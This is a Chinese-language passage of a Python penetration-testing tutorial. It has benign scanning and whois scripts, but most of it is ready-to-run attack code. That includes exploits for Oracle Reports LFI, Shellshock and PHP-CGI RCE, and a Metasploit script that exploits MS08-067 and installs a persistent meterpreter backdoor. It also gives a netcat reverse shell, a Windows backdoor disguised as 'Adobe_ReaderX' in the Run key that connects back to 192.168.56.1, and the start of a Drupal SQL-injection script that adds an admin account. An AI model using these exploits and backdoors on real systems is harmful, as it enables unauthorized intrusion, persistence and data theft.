* 利用一個Oracle的本地包含漏洞.
**Web掃描**
下面的這個腳本使用"-i"參數把文件的url鏈接傳遞到腳本里面,而後使用"-r"參數指定請求的路徑,最好使用"-s"參數去指定檢測是否含有CLI漏洞的字符串.
```
$ python sling.py -h
Usage: sling.py -i <file_with URLs> -r -s [optional]
Options:
-h, --help show this help message and exit
-i SERVERS specify target file with URLs
-r RESOURCES specify a file with resources to request
-s SEARCH [optional] Specify a search string -s
```
存儲url連接列表文件的文本格式應該是這樣的——"http://www.google.com" 一行,而且文件請求的路徑應該是"request/"每行,例如:
```
reqs:
CFIDE/
admin/
tmp/
```
下面是一個腳本調用的例子可是沒有指定檢測字符串:
```
$ python sling.py -i URLs -r reqs
[+] URL: http://www.google.com/CFIDE/ [404]
[+] URL: http://www.google.com/admin/ [404]
[+] URL: http://www.google.com/tmp/ [404]
[+] URL: http://www.yahoo.com/CFIDE/ [404]
[+] URL: http://www.facebook.com/CFIDE/ [404]
[+] URL: http://www.facebook.com/admin/ [404]
[+] URL: http://www.facebook.com/tmp/ [404]
```
如今當建立這些請求的時候,你可能想定義一個檢測語句以減小誤報,例如:你如今請求的路徑是"/CFIDE/administrator/enter.cfm",你能夠指定檢測"CFIDE"的".cfm"頁面是否有問題,這樣就幫助你減小不少沒必要要耗費的時間.下面這個例子演示了上面腳本的完整示例:
```
$ python sling.py -i URLs -r reqs -s google
[+] URL: http://www.google.com/CFIDE/ [404] Found: 'google' in ouput
[+] URL: http://www.google.com/admin/ [404] Found: 'google' in ouput
[+] URL: http://www.google.com/tmp/ [404] Found: 'google' in ouput
```
正如你所看到的,這個腳本只會檢測帶有'google'關鍵字的url連接而且經過"STDOUT"顯示在屏幕上面,這是一個很簡單的腳本可以幫你快速的檢索一些web資源,更進一步,咱們能夠指定服務器的版本號和漏洞版本,完整的腳本在教程的最後面:
**自動web攻擊應用**
在幾個月之前,一個安全研究員[NI@root](http://blog.netinfiltration.com/2013/12/12/hacking-oracle-reports-11g/) 發表過一篇詳細的Oracle本地包含漏洞的報告,在報告發布的同時還發布了一個POC檢測工具,用來檢測你的服務器是否有bug,除此之外就沒有任何工具了,該漏洞容許你經過發起如下請求鏈接來訪問服務器的其餘文件或目錄,使用"file:///".
```
request = '/reports/rwservlet?report=test.rdf+desformat=html+destype=cache+JOBTYPE=rwurl+URLPARAMETER="file:///'
```
下面是調用這個腳本的語法:
```
$ python pwnacle.py <server> <resource>
```
pwnacle.py:
```
#######################################
# pwnacle.py - Exploits CVE-2012-3152 #
# Oracle Local File Inclusion (LFI) #
#######################################
import urllib, sys, ssl, inspect
exec inspect.getsource(ssl.wrap_socket).replace("PROTOCOL_SSLv23","PROTOCOL_SSLv3") in dict(inspect.getmembers(ssl.wrap_socket))["func_globals"]
import socket
server = sys.argv[1] # Assigns first argument given at the CLI to 'server' variable
dir = sys.argv[2] # Assigns second argument given at the CLI to 'dir' variable
ip = server.split('/')[2] # formats the server by splitting the string based on the '/' which grabs the IP out of 'http://ip/'
req = '/reports/rwservlet?report=test.rdf+desformat=html+destype=cache+JOBTYPE=rwurl+URLPARAMETER="file:///' #request format to exploit the vulnerability
print "Sending Request: "+server+req+dir+'"'
if 'http://' in server: # 使用 http的urllib模塊 --若是是ssl協議就出拋出錯誤
try:
conn = urllib.urlopen(server+req+dir+'"') # 發送請求給服務器
out = conn.readlines()
for item in conn:
print item.strip()
except Exception as e:
print e
if 'https://' in server: # Create web request with ssl module
try:
conn = ssl.wrap_socket(socket.create_connection((ip, 443)))
request = 'GET '+req+dir+'"'+' HTTP/1.1'+'\n'
request += 'Host: '+ip+'\n'
request += 'User-Agent: Mozilla/5.0 '+'\n'
request += 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'+'\n'
request += 'Accept-Language: en-US,en;q=0.5'+'\n'
request += 'Accept-Encoding: gzip, deflate'+'\n'
request += 'Connection: keep-alive'+'\n'
conn.send(request+'\n')
print conn.recv()
print conn.recv(20098)
except Exception as e:
print e
```
Sling.py:
```
#####################################
# sling.py - checks for resources #
# Can seach for string in response #
#####################################
from bs4 import BeautifulSoup
import sys, optparse, socket
from urllib import urlopen
class Colors:
RED = '\033[91m'
GREEN = '\033[92m'
def webreq(server, resources): # 主機地址,請求路徑
try:
resource = []
for item in open(resources, 'r'): #對請求資源路徑循環
resource.append(item.strip()) # 把文件內的連接添加到數組裏面
for item in resource: #循環數組而且建立請求
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5) # 設置鏈接超時時間
url = server.strip()+item.strip() # 格式化請求url連接: "http://www.site.com/CFIDE/administrator/enter.cfm"
request = urlopen(url) # 建立請求
if search: # 若是變量 "search"爲true (-s)
parsed = BeautifulSoup(request.read(), "lxml") #使用BeautifulSoup解析
if search in str(parsed): # 若是search存在就輸出
print Colors.GREEN+"[+] URL: "+url+" ["+str(request.getcode())+"] Found: '"+search+"' in ouput"
elif request.getcode() == 404: # 獲取http狀態碼
print Colors.RED+"[+] URL: "+url+" ["+str(request.getcode())+"]" # 打印url的狀態碼
elif request.getcode():
print Colors.GREEN+"[+] URL: "+url+" ["+str(request.getcode())+"]"
except:pass
def main():
# 建立一個 CLI功能函數而且存儲到變量裏面
parser = optparse.OptionParser(sys.argv[0]+' '+ \
'-i <file_with URLs> -r -s [optional]')
parser.add_option('-i', dest='servers', type='string', help='specify target file with URLs')
parser.add_option('-r', dest='resources', type='string', help='specify a file with resources to request')
parser.add_option('-s', dest='search', type='string', help='[optional] Specify a search string -s ')
(options, args) = parser.parse_args()
servers=options.servers
resources=options.resources
global search; search=options.search
if (servers == None) and (resources==None): # 檢查 CLI是否有效
print parser.usage # if not print usage
sys.exit(0)
if servers:
for server in open(servers, 'r'): # 循環文件裏面的url鏈接
webreq(server, resources) # 調用 webreq 函數
function
if __name__ == "__main__":
main()
```
##Whois自動查詢
這一章將教你們一些技巧性的東西,教你們使用Cymru's團隊提供的[whois模塊](https://pypi.python.org/pypi/cymruwhois/1.0)來作一個whois信息查詢工具,使用這個模塊能夠幫你節省大量的的時間,廢話少說,如今就讓咱們開始吧!
首先你須要安裝這個模塊而且可使用以前咱們講過的dir函數去看看這個模塊提供了那些功能:
```
>>> from cymruwhois import Client
>>> c = Client()
>>> dir(c)
['KEY_FMT', '__doc__', '__init__', '__module__', '_begin', '_connect', '_connected', '_disconnect', '_lookupmany_raw', '_readline', '_sendline', 'c', 'cache', 'disconnect', 'get_cached', 'host', 'lookup', 'lookupmany', 'lookupmany_dict', 'port', 'read_and_discard']
>>>
```
如今咱們使用lookup函數來查詢一個單獨的IP地址,在後面咱們會使用"lookupmany"來查詢一個IP數組列表:
```
>>> google = c.lookup('8.8.8.8') #譯者注:國內會被GFW
>>> google
<cymruwhois.record instance: 15169|8.8.8.8|8.8.8.0/24|US|GOOGLE - Google Inc.,US>
>>> type(google)
<type 'instance'>
>>>
```
如今咱們有一個cymruwhois.record的實例,能夠從中提取出下面這些信息:
```
>>>
>>> dir(google)
['__doc__', '__init__', '__module__', '__repr__', '__str__', 'asn', 'cc', 'ip', 'owner', 'prefix']
>>> google.ip
'8.8.8.8'
>>> google.owner
'GOOGLE - Google Inc.,US'
>>> google.cc
'US'
>>> google.asn
'15169'
>>> google.prefix
'8.8.8.0/24'
>>>
```
咱們之前思考處理多個ip列表的時候是使用for循環來處理的,但在這裏咱們並不須要使用for循環去遍歷整個數組列表,咱們可使用Cymru團隊提供的"lookupmany"函數去代替本身寫的循環代碼,下面將演示了一個比較複雜的腳本:從一個文件裏面讀取到IP列表,而後執行whois信息查詢:
咱們一般使用tcpdump,BPF還有bash-fu來處理IP列表,下面咱們抓取了SYN包裏面"tcp[13]=2"的ip而且經過awk的通道stdout與stdin把第六個元素使用" awk ‘{print $6}’"抓取出來,而後把使用awk抓取出來的ip寫入到一個文件裏面:
```
~$ tcpdump -ttttnnr t.cap tcp[13]=2 | awk '{print $6}' | awk -F "." '{print $1"."$2"."$3"."$4}' > ips.txt
reading from file t.cap, link-type LINUX_SLL (Linux cooked)
~$ python ip2net.py -r ips.txt
[+] Querying from: ips.txt
173.194.0.0/16 # - 173.194.8.102 (US) - GOOGLE - Google Inc.,US
~$
```
如今讓我看看ip2net.py這個腳本,裏面有註釋能夠幫助你快速的理解這個腳本到底是幹些什麼:
**ip2net.py**
```
#!/usr/bin/env python
import sys, os, optparse
from cymruwhois import Client
def look(iplist):
c=Client() # 建立一個Client的實例類
try:
if ips != None:
r = c.lookupmany_dict(iplist) # 利用lookupmany_dict()函數傳遞IP列表
for ip in iplist: #遍歷lookupman_dict()傳入的值
net = r[ip].prefix; owner = r[ip].owner; cc = r[ip].cc #從字典裏面獲取鏈接後的信息
line = '%-20s # - %15s (%s) - %s' % (net,ip,cc,owner) #格式化輸出
print line
except:pass
def checkFile(ips): # 檢查文件是否可以讀取
if not os.path.isfile(ips):
print '[-] ' + ips + ' does not exist.'
sys.exit(0)
if not os.access(ips, os.R_OK):
print '[-] ' + ips + ' access denied.'
sys.exit(0)
print '[+] Querying from: ' +ips
def main():
parser = optparse.OptionParser('%prog '+ \
'-r <file_with IPs> || -i <IP>')
parser.add_option('-r', dest='ips', type='string', \
help='specify target file with IPs')
parser.add_option('-i', dest='ip', type='string', \
help='specify a target IP address')
(options, args) = parser.parse_args()
ip = options.ip # Assigns a -i <IP> to variable 'ip'
global ips; ips = options.ips # 賦值-r <fileName> 給變量 'ips'
if (ips == None) and (ip == None): # 若是缺乏參數就輸出使用手冊
print parser.usage
sys.exit(0)
if ips != None: #檢查ips
checkFile(ips) #檢查文件是否可以讀取
iplist = [] # 建立ipslist列表對象
for line in open(ips, 'r'): # 解析文件內容
iplist.append(line.strip('\n')) # 添加一行新內容而且刪除換行字符
look(iplist) # 調用look()函數
else: # 執行lookup()函數而且把內容存儲到變量 'ip'
try:
c=Client()
r = c.lookup(ip)
net = r.prefix; owner = r.owner; cc = r.cc
line = '%-20s # - %15s (%s) - %s' % (net,ip,cc,owner)
print line
except:pass
if __name__ == "__main__":
main()
```
##自動化命令
這一章將會介紹使用python自動執行系統命令,咱們將使用python展現兩個執行命令的方式(os,subprocess).
當你開始建立一個腳本的時候,你會發現os.system和subprocess.Popen都是執行系統命令,它們不是同樣的嗎?其實它們兩個根本不同,subprocess容許你執行命令直接經過stdout賦值給一個變量,這樣你就能夠在結果輸出以前作一些操做,譬如:輸出內容的格式化等.這些東西在你之後的會頗有幫助.
Ok,說了這麼多,讓咱們來看看代碼:
```
>>>
>>> import os
>>> os.system('uname -a')
Linux cell 3.11.0-20-generic #35~precise1-Ubuntu SMP Fri May 2 21:32:55 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
0
>>> os.system('id')
uid=1000(cell) gid=1000(cell) groups=1000(cell),0(root)
0
>>> os.system('ping -c 1 127.0.0.1')
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_req=1 ttl=64 time=0.043 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.043/0.043/0.043/0.000 ms
0
>>>
```
上面這段代碼並無徹底的演示完os模塊全部的功能,不過你可使用"dir(os)"命令來查看其餘的函數(譯者注: 若是不會使用可使用help()命令).
下面咱們使用subprocess模塊運行相同的命令:
```
>>> import subprocess
>>>
>>> com_str = 'uname -a'
>>> command = subprocess.Popen([com_str], stdout=subprocess.PIPE, shell=True)
>>> (output, error) = command.communicate()
>>> print output
Linux cell 3.11.0-20-generic #35~precise1-Ubuntu SMP Fri May 2 21:32:55 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
>>> com_str = 'id'
>>> command = subprocess.Popen([com_str], stdout=subprocess.PIPE, shell=True)
>>> (output, error) = command.communicate()
>>> print output
uid=1000(cell) gid=1000(cell) groups=1000(cell),0(root)
>>>
```
和第一段代碼對比你會發現語法比較複雜,可是你能夠把內容存儲到一個變量裏面而且你也能夠把返回的內容寫入到一個文件裏面去;
```
>>> com_str = 'id'
>>> command = subprocess.Popen([com_str], stdout=subprocess.PIPE, shell=True)
>>> (output, error) = command.communicate()
>>> output
'uid=1000(cell) gid=1000(cell) groups=1000(cell),0(root)\n'
>>> f = open('file.txt', 'w')
>>> f.write(output)
>>> f.close()
>>> for line in open('file.txt', 'r'):
... print line
...
uid=1000(cell) gid=1000(cell) groups=1000(cell),0(root)
>>>
```
這一章咱們講解了如何自動化執行系統命令,記住當你之後遇到 CLI的時候能夠把它丟到python腳本里面;
最後本身嘗試一下寫一個腳本,把輸出的內容寫入到一個文件裏面或者是隻輸出部分信息.
##Python版的Metasploit
pymsf模塊是Spiderlabs實現的一個python與Metasploit的msgrpc通訊的python模塊,但首先你須要先啓動msgrpc服務,命令以下:
```
load msgrpc Pass=<password>
```
與msgrpc進行通訊其實就是與msfconsole進行通訊,首先你須要建立一個msfrpc的類,登陸到msgrpc服務器而且建立一個虛擬的終端,而後你就能夠在你建立的虛擬終端上面執行多個命令的字符串.你能夠調用模塊的方法與console.write執行命令,而且經過"console.read"從虛擬終端上面讀取輸入的值.這篇文章將演示如何使用pymsf模塊而且如何開發出一個完整的腳本.
這裏有一個函數它建立了一個msfrpc實例,登陸到msgrpc服務器,而且建立了一個虛擬終端.
```
def sploiter(RHOST, LHOST, LPORT, session):
client = msfrpc.Msfrpc({})
client.login('msf', '123')
ress = client.call('console.create')
console_id = ress['id']
```
下一步就是實現把多個字符串發給虛擬終端,經過console.write和console.read在虛擬終端顯示與讀取:
```
## Exploit MS08-067 ##
commands = """use exploit/windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set RHOST """+RHOST+"""
set LHOST """+LHOST+"""
set LPORT """+LPORT+"""
set ExitOnSession false
exploit -z
"""
print "[+] Exploiting MS08-067 on: "+RHOST
client.call('console.write',[console_id,commands])
res = client.call('console.read',[console_id])
result = res['data'].split('\n')
```
上面的這一小段代碼建立了一個MSF的資源文件,這樣你就能夠經過"resoucen <PathToFile>"命令去執行指定文件裏面中一系列的命令.下面咱們將經過"getsystem"命令把這個文件的提權,創建一個後門打開80端口來轉發.而且永久的運行.最後上傳咱們的漏洞exp而且在命令模式下面悄悄的安裝:
```
# 這個函數會建立一個MSF .rc文件
def builder(RHOST, LHOST, LPORT):
post = open('/tmp/smbpost.rc', 'w')
bat = open('/tmp/ms08067_install.bat', 'w')
postcomms = """getsystem
run persistence -S -U -X -i 10 -p 80 -r """+LHOST+"""
cd c:\\
upload /tmp/ms08067_patch.exe c:\\
upload /tmp/ms08067_install.bat c:\\
execute -f ms08067_install.bat
"""
batcomm = "ms08067_patch.exe /quiet"
post.write(postcomms); bat.write(batcomm)
post.close(); bat.close()
```
經過上面的那段代碼,將會建立一個.rc的文件.經過msf模塊「post/multi/gather/run_console_rc_file」在當前的meterpreter會話中運行生成的文件,而且經過console.write命令從虛擬終端寫入數據,經過console.read命令來回顯返回內容:
```
## 運行生成的exp ##
runPost = """use post/multi/gather/run_console_rc_file
set RESOURCE /tmp/smbpost.rc
set SESSION """+session+"""
exploit
"""
print "[+] Running post-exploit script on: "+RHOST
client.call('console.write',[console_id,runPost])
rres = client.call('console.read',[console_id])
## Setup Listener for presistent connection back over port 80 ##
sleep(10)
listen = """use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 80
set LHOST """+LHOST+"""
exploit
"""
print "[+] Setting up listener on: "+LHOST+":80"
client.call('console.write',[console_id,listen])
lres = client.call('console.read',[console_id])
print lres
```
上面代碼中的變量(RHOST, LHOST, LPORT等)都是經過optparse模塊從命令終端輸入的,完整的腳本託管在github上面,有時候你須要知道腳本的生成的地方都是靜態地址,不會在其餘的目錄生成,例如ms08067的補丁就會在你的/tmp/目錄下面。你們只要知道基礎而後對下面的代碼進行必定的修改就能夠編程一個屬於你本身的msf自動化攻擊腳本,咱們建議經過博客裏面發表的一些簡單的例子出發,而後本身寫一個msf攻擊腳本:
```
import os, msfrpc, optparse, sys, subprocess
from time import sleep
# Function to create the MSF .rc files
def builder(RHOST, LHOST, LPORT):
post = open('/tmp/smbpost.rc', 'w')
bat = open('/tmp/ms08067_install.bat', 'w')
postcomms = """getsystem
run persistence -S -U -X -i 10 -p 80 -r """+LHOST+"""
cd c:\\
upload /tmp/ms08067_patch.exe c:\\
upload /tmp/ms08067_install.bat c:\\
execute -f ms08067_install.bat
"""
batcomm = "ms08067_patch.exe /quiet"
post.write(postcomms); bat.write(batcomm)
post.close(); bat.close()
# Exploits the chain of rc files to exploit MS08-067, setup persistence, and patch
def sploiter(RHOST, LHOST, LPORT, session):
client = msfrpc.Msfrpc({})
client.login('msf', '123')
ress = client.call('console.create')
console_id = ress['id']
## Exploit MS08-067 ##
commands = """use exploit/windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set RHOST """+RHOST+"""
set LHOST """+LHOST+"""
set LPORT """+LPORT+"""
set ExitOnSession false
exploit -z
"""
print "[+] Exploiting MS08-067 on: "+RHOST
client.call('console.write',[console_id,commands])
res = client.call('console.read',[console_id])
result = res['data'].split('\n')
## Run Post-exploit script ##
runPost = """use post/multi/gather/run_console_rc_file
set RESOURCE /tmp/smbpost.rc
set SESSION """+session+"""
exploit
"""
print "[+] Running post-exploit script on: "+RHOST
client.call('console.write',[console_id,runPost])
rres = client.call('console.read',[console_id])
## Setup Listener for presistent connection back over port 80 ##
sleep(10)
listen = """use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 80
set LHOST """+LHOST+"""
exploit
"""
print "[+] Setting up listener on: "+LHOST+":80"
client.call('console.write',[console_id,listen])
lres = client.call('console.read',[console_id])
print lres
def main():
parser = optparse.OptionParser(sys.argv[0] +\
' -p LPORT -r RHOST -l LHOST')
parser.add_option('-p', dest='LPORT', type='string', \
help ='specify a port to listen on')
parser.add_option('-r', dest='RHOST', type='string', \
help='Specify a remote host')
parser.add_option('-l', dest='LHOST', type='string', \
help='Specify a local host')
parser.add_option('-s', dest='session', type='string', \
help ='specify session ID')
(options, args) = parser.parse_args()
session=options.session
RHOST=options.RHOST; LHOST=options.LHOST; LPORT=options.LPORT
if (RHOST == None) and (LPORT == None) and (LHOST == None):
print parser.usage
sys.exit(0)
builder(RHOST, LHOST, LPORT)
sploiter(RHOST, LHOST, LPORT, session)
if __name__ == "__main__":
main()
```
##僞終端
這一章,咱們來說講如何使用python作一個僞終端.不過在這以前你須要先了解一點僞終端的意思,還有一些技巧.這個咱們會在下面講到:
僞終端其實就是命令終端(cmd.exe,/bin/sh)經過網絡接口反彈給攻擊者,或者是新建一個監聽端口反彈一個終端給攻擊者,值得注意的就是原終端對於標準的輸入,輸出是不作處理的(stdin/stdout/stderr),一樣的反彈的shell也是不對它作處理的.(ssh訪問都是直接從鍵盤上讀取).
這意味着有一些特殊的命令可以幫助你反彈shell,像咱們最多見的就是使用netcat命令來反彈shell:
```
#啓動netcat監聽器
~$ nc -lvp 443
listening on [any] 443 ...
# 使用netcat反彈'/bin/sh'
~$ nc 127.0.0.1 443 -e /bin/sh
```
如今你可能注意到你看不到一些命令提示,咱們輸入幾個命令試試:
```
id
uid=1000(kali) gid=1000(kali) groups=1000(kali)
uname -a
Linux kali 3.12-kali1-amd64 #1 SMP Debian 3.12.6-2kali1 (2014-01-06) x86_64 GNU/Linux
ls
bin
boot
dev
etc
home
initrd.img
lib
lib64
media
mnt
opt
proc
root
run
sbin
selinux
srv
sys
tmp
usr
var
```
上面這些命令運行會很正常,可是當你運行一些須要用戶再次輸入驗證或者是編輯的命令就可能會出現問題,
例如(FTP,SSH,vi等),由於咱們虛擬的終端它只有標準的輸入輸出功能,不會再次返回驗證輸入.
可是對於寫文件咱們可使用echo命令來寫入內容,這個對於現實是一點兒也不違和的.
在使用的過程當中你也可能已經注意到了,它並有任何的提示性消息給您.這是由於命令的的提示消息是同過STDERR函數來傳遞的,
而在前面咱們也討論過咱們實現的並非一個原生終端,若是你想執行一些二進制的執行文件,譬如是meterpeter的執行文件就可能會出現錯誤.
對於已經安裝了python的系統,咱們可使用python提供的pty模塊,只須要一行腳本就能夠建立一個原生的終端.下面是演示代碼.執行第一行前
我尚未進入終端.
```
python -c "import pty;pty.spawn('/bin/bash')"
kali@kali:/$ uname -a
uname -a
Linux kali 3.12-kali1-amd64 #1 SMP Debian 3.12.6-2kali1 (2014-01-06) x86_64 GNU/Linux
kali@kali:/$ id
id
uid=1000(kali) gid=1000(kali) groups=1000(kali)
kali@kali:/$ ls
ls
bin dev home lib64 opt srv usr
boot initrd.img media proc sbin sys var
etc lib mnt root selinux tmp
kali@kali:/$
```
-c參數選項容許咱們直接在命令終端裏面執行指定腳本,上面那段腳本,我使用分號把兩行代碼合併爲了一行.這樣寫並不爲過.還有一點.
就是雙引號裏面只能使用單引號把/bin/bash引發來,若是使用雙引號就出出現語法錯誤.就像下面這樣:
```
python -c "import pty;pty.spawn("/bin/bash")"
```
雖然到目前爲止寫的虛擬終端並無原生終端那樣好,可是花點時間去折騰而後不斷的去完善.相信會作的更好.
你們可能在滲透測試的時候會發現有些時候系統的命令終端是不容許直接訪問的,那麼這個時候用Python虛擬化一個終端相信會讓你眼前一亮.
本節將帶着你們利用前面章節所學到的知識使用Python和PyInstalle本身的exp,在前面的[章節][1],講到了如何把一個python腳本編譯成爲一個可執行的PE文件,如今讓咱們利用前面學到的知識快速寫一個windows工具腳本.
###開始編碼
你們其實會發現,不少惡意中間件最想幹的一件事情就是得到被攻擊系統的持久性(永久的潛伏在系統裏面,永久性後門),像在windows裏面最多見的一種方式就是被攻擊系統的註冊表鍵值.
`Software\Microsoft\Windows\CurrentVersion\Run`
下面的這一小段代碼實現的功能就是把程序拷貝到%TEMP%目錄下面而且修改了註冊表,當用戶登陸到系統的時間就會執行這個後門:
```
import sys, base64, os, socket, subprocess
from _winreg import *
def autorun(tempdir, fileName, run):
# 複製執行文件的到 %TEMP%:
os.system('copy %s %s'%(fileName, tempdir))
# 查詢註冊表對應的鍵值是多少
# 給該後門添加自動執行的權限
key = OpenKey(HKEY_LOCAL_MACHINE, run)
runkey =[]
try:
i = 0
while True:
subkey = EnumValue(key, i)
runkey.append(subkey[0])
i += 1
except WindowsError:
pass
# 設置鍵值:
if 'Adobe ReaderX' not in runkey:
try:
key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)
SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%\mw.exe")
key.Close()
except WindowsError:
pass
```
如今咱們已經把後門拷貝到了%TEMP%目錄下面,而且給它添加了自動執行的權限,下面是一個shell,經過一個Python腳本——[TrustedSec][2]來實現攻擊,可是作了一點修改,對傳輸的文本作了一個base64編碼.
```
def shell():
#Base64 編碼反向shell
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.56.1', int(443)))
s.send('[*] Connection Established!')
while 1:
data = s.recv(1024)
if data == "quit": break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
encoded = base64.b64encode(stdout_value)
s.send(encoded)
#s.send(stdout_value)
s.close()
def main():
tempdir = '%TEMP%'
fileName = sys.argv[0]
run = "Software\Microsoft\Windows\CurrentVersion\Run"
autorun(tempdir, fileName, run)
shell()
if __name__ == "__main__":
main()
```
簡單的解釋這個程序:當這個程序執行的時候會與攻擊者的電腦創建一個鏈接,可是腳本中的鏈接是一個固定IP,這裏能夠修改成一個域名或者是Amazon cloud的服務地址,從下圖能夠看出攻擊者與受害者創建一個網絡鏈接,你也能夠注意到二者之間被base64編碼後的數據流量包
下面是完整代碼:
```
import sys, base64, os, socket, subprocess
from _winreg import *
def autorun(tempdir, fileName, run):
# Copy executable to %TEMP%:
os.system('copy %s %s'%(fileName, tempdir))
# Queries Windows registry for the autorun key value
# Stores the key values in runkey array
key = OpenKey(HKEY_LOCAL_MACHINE, run)
runkey =[]
try:
i = 0
while True:
subkey = EnumValue(key, i)
runkey.append(subkey[0])
i += 1
except WindowsError:
pass
# If the autorun key "Adobe ReaderX" isn't set this will set the key:
if 'Adobe ReaderX' not in runkey:
try:
key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)
SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%\mw.exe")
key.Close()
except WindowsError:
pass
def shell():
#Base64 encoded reverse shell
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.56.1', int(443)))
s.send('[*] Connection Established!')
while 1:
data = s.recv(1024)
if data == "quit": break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
encoded = base64.b64encode(stdout_value)
s.send(encoded)
#s.send(stdout_value)
s.close()
def main():
tempdir = '%TEMP%'
fileName = sys.argv[0]
run = "Software\Microsoft\Windows\CurrentVersion\Run"
autorun(tempdir, fileName, run)
shell()
if __name__ == "__main__":
main()
```
用例1: CVE-2014-6271
下面這段Python寫的Poc的代碼很是的酷(屌噠噠),用戶根本感受不到發生了什麼事情. 這個Poc執行後就和系統的命令終端同樣,不過這個Poc它的目的卻與系統的不一樣.這個Poc會修改瀏覽器的User-Agent 信息,而後不停的向攻擊主機發送一個惡意的指令(這裏是執行某個特定的命令).
下面這段代碼封裝了一個無限循環,經過raw_input獲取用戶輸入的終止標記,最後提交請求,從下面的這段代碼你能夠看到 如何去完成一個HTTP請求以及如何修改User-Agent的內容:
#!/usr/bin/python
import sys, urllib2 #導入須要使用的模塊
if len(sys.argv) != 2: # 檢查輸入命令的格式是否正確 "<script> <URL>"
print "Usage: "+sys.argv[0]+" <URL>"
sys.exit(0)
URL=sys.argv[1] # 把測試的URL輸出顯示出來
print "[+] Attempting Shell_Shock - Make sure to type full path"
while True: # 經過raw_input來獲取用戶輸入的值,若是是"~$"就中止執行
command=raw_input("~$ ")
opener=urllib2.build_opener() # 修改默認的請求頭部,把修改後的User-Agent包含進去
opener.addheaders=[('User-agent', '() { foo;}; echo Content-Type: text/plain ; echo ' /bin/bash -c "'+command+'"')]
try: # 使用Try/Except 進行錯誤處理
response=opener.open(URL) #提交請求而且顯示響應結果
for line in response.readlines():
print line.strip()
except Exception as e: print e
下面的圖片是這個腳本執行後的截圖,正在測試ip地址爲http://192.168.56.101 的系統,你能夠很清晰的看到執行以後會生成一個和真實命令終端幾乎是同樣的. 你們其實能夠看到這個腳本只是對測試系統發送了一個HTTP請求.其餘的什麼也沒有 作.不過最後一張圖展現了具體的細節部分:
html
用例2: CVE-2012-1823
這個PoC演示了CVE-2012-1823 – PHP-CGI的遠程代碼執行漏洞的利用,下面這個PoC的代碼是經過一個簡單的循環來獲取PoC使用者頻繁輸入的內容,而且修改HttP頭。Post提交請求。這個代碼的原理也能夠用於其餘的示例。由於這段代碼演示瞭如何經過Python建立自定義的HTTP頭而且發起請求:
#!/usr/bin/python
import sys, urllib2 #導入須要的模塊
if len(sys.argv) != 2: # 檢查輸入的格式是否正確 "<script> <URL>"
print "Usage: "+sys.argv[0]+" <URL>"
sys.exit(0)
URL=sys.argv[1] # 輸出測試的url連接 "[+] Attempting CVE-2012-1823 - PHP-CGI RCE"
while True: # 循環開始時先輸出 "~$ " 而後經過"raw_input"獲取要執行的命令
command=raw_input("~$ ")
Host = URL.split('/')[2] # 從URL解析主機名: 'http://<host>/' 而且賦值給Host <host>
headers = { # 定義響應頭部
'Host': Host,
'User-Agent': 'Mozilla',
'Connection': 'keep-alive'}
data = "<?php system('"+command+"');die(); ?>" # PHP運行的服務器
req = urllib2.Request(URL+"?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", data, headers)
try: # 使用Try/Except處理響應信息
response = urllib2.urlopen(req) # 發起請求
for line in response.readlines():
print line.strip()
except Exception as e: print e
結果演示node
用例3: CVE-2012-3152
這一小段代碼是演示的CVE-2012-3152 Oracle本地文件包含的漏洞利用PoC,與前一個PoC示例有點相似,也是經過循環能夠無限輸入須要訪問文件目錄。對於下面這一段腳本無前面有點不一樣。增長了一點交互性的東西。經過termcolor模塊來實現:
#!/usr/bin/python
import sys, urllib2 # 導入須要的包
from termcolor import colored # 這裏須要下載"termcolor"模塊
if len(sys.argv) != 2: # 檢查輸入的格式是否正確"<script> <URL>"
print "Usage: "+sys.argv[0]+" <URL>"
sys.exit(0)
URL=sys.argv[1] # 輸出測試的URL
print "[+] Attempting CVE-2012-3152 - Oracle Reports LFI"
while True: # 循環開始時先輸出 "~$ " 而後經過"raw_input"獲取要執行的命令
resource=raw_input(colored("~$ ", "red"))
req = '/reports/rwservlet?report=test.rdf+desformat=html+destype=cache+JOBTYPE=rwurl+URLPARAMETER="file:///'+resource+'"'
try: # 使用Try/Except處理響應信息
response=urllib2.urlopen(URL+req)
# 發起請求而且顯示響應內容
for line in response.readlines():
print line.strip()
except Exception as e: print epython
用例4: CVE-2014-3704
Drupal在2014年10月15日宣佈修復了一處SQL注入漏洞。漏洞的具體分析能夠查看這裏.下面這段代碼是經過Python編寫的一段代碼來實現一個SQL注入的功能,這個腳本正確執行以後會添加一個新的管理員用戶:
腳本調用語法,須要你輸入你要建立的賬戶名和密碼:
~$ python cve-2014-3704.py <URL>
[+] Attempting CVE-2014-3704 Drupal 7.x SQLi
Username to add: admin_user
Account created with user: admin_user and password: password
代碼示例:
#!/usr/bin/python
import sys, urllib2 # 導入須要的模塊
if len(sys.argv) != 2: # 檢查輸入的格式是否正確"<script> <URL>"
print "Usage: "+sys.argv[0]+" [URL]"
sys.exit(0)
URL=sys.argv[1] # 輸出測試的URL
